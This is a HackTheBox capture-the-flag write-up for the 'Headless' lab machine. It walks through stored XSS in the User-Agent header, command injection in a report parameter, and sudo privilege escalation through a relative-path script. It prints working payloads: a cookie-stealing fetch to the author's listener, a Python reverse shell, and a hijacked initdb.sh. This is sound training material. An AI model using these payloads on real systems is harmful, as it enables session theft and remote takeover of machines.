HackTheBox

Headless

OS: Linux | Difficulty: Easy


xss
command-injection
web
cookies
burp
ffuf

Table of Contents

  1. Reconnaissance
  2. Initial Access
  3. Foothold
  4. Privilege Escalation
  5. Summary

Intro

Headless is an easy Linux box featuring a Python web server using Werkzeug.

The machine teaches fundamental web exploitation through a progression of vulnerabilities: Cross-Site Scripting (XSS) via header injection leads to session hijacking, authenticated command injection provides initial access, and a classic relative path exploitation in a privileged script grants root access.

It’s an excellent introduction to chaining multiple vulnerabilities together to achieve full system compromise.

Recon

Initial Scan

Starting off with running an Nmap scan.

sudo nmap -sV -sC -T4 10.129.224.22
Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-14 04:23 EST
Nmap scan report for 10.129.224.22
Host is up (0.098s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  http    Werkzeug httpd 2.2.2 (Python 3.11.2)
|_http-title: Under Construction
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.02 seconds

Key Findings:

  • SSH on port 22 (standard configuration)
  • HTTP service on port 5000 running Werkzeug/Flask (Python 3.11.2)

Directory Enumeration

We also run a directory scan in the background with ffuf, to which we find two pages, support, and dashboard.

ffuf -u http://10.129.224.22:5000/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -o ffuf.txt
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.224.22:5000/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
 :: Output file      : ffuf.txt
 :: File format      : json
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

support                 [Status: 200, Size: 2363, Words: 836, Lines: 93, Duration: 98ms]
dashboard               [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 100ms]

Web Application Enumeration

Visiting the target in Firefox, we find a web page with a countdown timer and button that leads to /support.

htb-headless-web-page

Visiting /support revealed a contact form with the following fields:

  • First Name
  • Last Name
  • Email
  • Phone
  • Message

htb-headless-support-page

Initial Testing:

  • SQL Injection: No response indicating vulnerability
  • XSS in form fields: Triggered a “Hacking Attempt Detected” message

Initial Access

Stored XSS via User-Agent Header

When attempting XSS payloads in the message field, the application responded with:

Hacking Attempt Detected

Your IP address has been flagged, a report with your browser information
has been sent to the administrators for investigation.

Client Request Information:
Method: POST
URL: http://10.129.224.22:5000/support
Headers: [full request headers displayed]

Key Insight: The message “sent to the administrators” suggested that user input is being stored and viewed in an admin dashboard, making this a potential Stored XSS attack vector.

Exploiting XSS in HTTP Headers

After testing various injection points, discovered that the User-Agent header was vulnerable to XSS and not properly sanitized when displayed in the admin panel.

Attack Setup:

  1. Set up a listener to capture the admin’s session cookie:
nc -lvnp 1337
  1. Intercept the POST request to /support using Burp Suite and modify the User-Agent header:
POST /support HTTP/1.1
Host: 10.129.224.22:5000
User-Agent: <img src=x onerror=fetch('http://10.10.14.7:1337/?cookie='+document.cookie)>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://10.129.224.22:5000
Referer: http://10.129.224.22:5000/support

fname=t&lname=t&email=test%40test.com&phone=f&message=f
  1. Received the admin’s session cookie:
listening on [any] 1337 ...
connect to [10.10.14.7] from (UNKNOWN) [10.129.224.22] 60882
GET /?cookie=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1
Host: 10.10.14.7:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: http://localhost:5000/
Origin: http://localhost:5000

Captured Cookie:

is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

Accessing the Admin Dashboard

Used the stolen cookie to access /dashboard, which revealed a “Generate System Health Report” feature with a date parameter.

htb-headless-dashboard

Command Injection Discovery

The date parameter in the report generation feature was vulnerable to command injection:

Testing:

date=2024-01-01; id

This confirmed command execution on the server.

Foothold

Reverse Shell

With confirmed command injection, established a reverse shell to gain interactive access.

Setup listener:

nc -lvnp 1337

Payload (injected via date parameter in Burp):

date=; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.7",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

From here, we have now gained shell access as user dvir, and can find the user flag immediately.

cat /home/dvir/user.txt
********************************

Privilege Escalation

Sudo Privileges Enumeration

Checked sudo permissions for the current user:

sudo -l

Output:

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

Analyzing syscheck

Examined the /usr/bin/syscheck script:

cat /usr/bin/syscheck

Script Contents:

#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0

Vulnerability: Relative Path Exploitation

Critical Finding: The script calls ./initdb.sh using a relative path instead of an absolute path. Since syscheck runs with sudo privileges, we can hijack this by creating a malicious initdb.sh in a directory we control.

Exploitation

Created a malicious initdb.sh script in /tmp:

cd /tmp
echo '#!/bin/bash' > initdb.sh
echo '/bin/bash' >> initdb.sh
chmod +x initdb.sh

Executed syscheck from the /tmp directory:

sudo /usr/bin/syscheck

Now from here, we have gained root and can find the root flag in the root directory.

Root Flag

cat /root/root.txt
********************************

Summary

Headless was an excellent beginner-friendly box that demonstrated:

  • The importance of testing non-obvious injection points (HTTP headers)
  • How stored XSS can lead to session hijacking
  • Basic command injection exploitation
  • Classic privilege escalation via relative path hijacking

The box emphasised the importance of thorough testing and not rushing to find the “perfect” vulnerability—sometimes the answer is simpler than expected.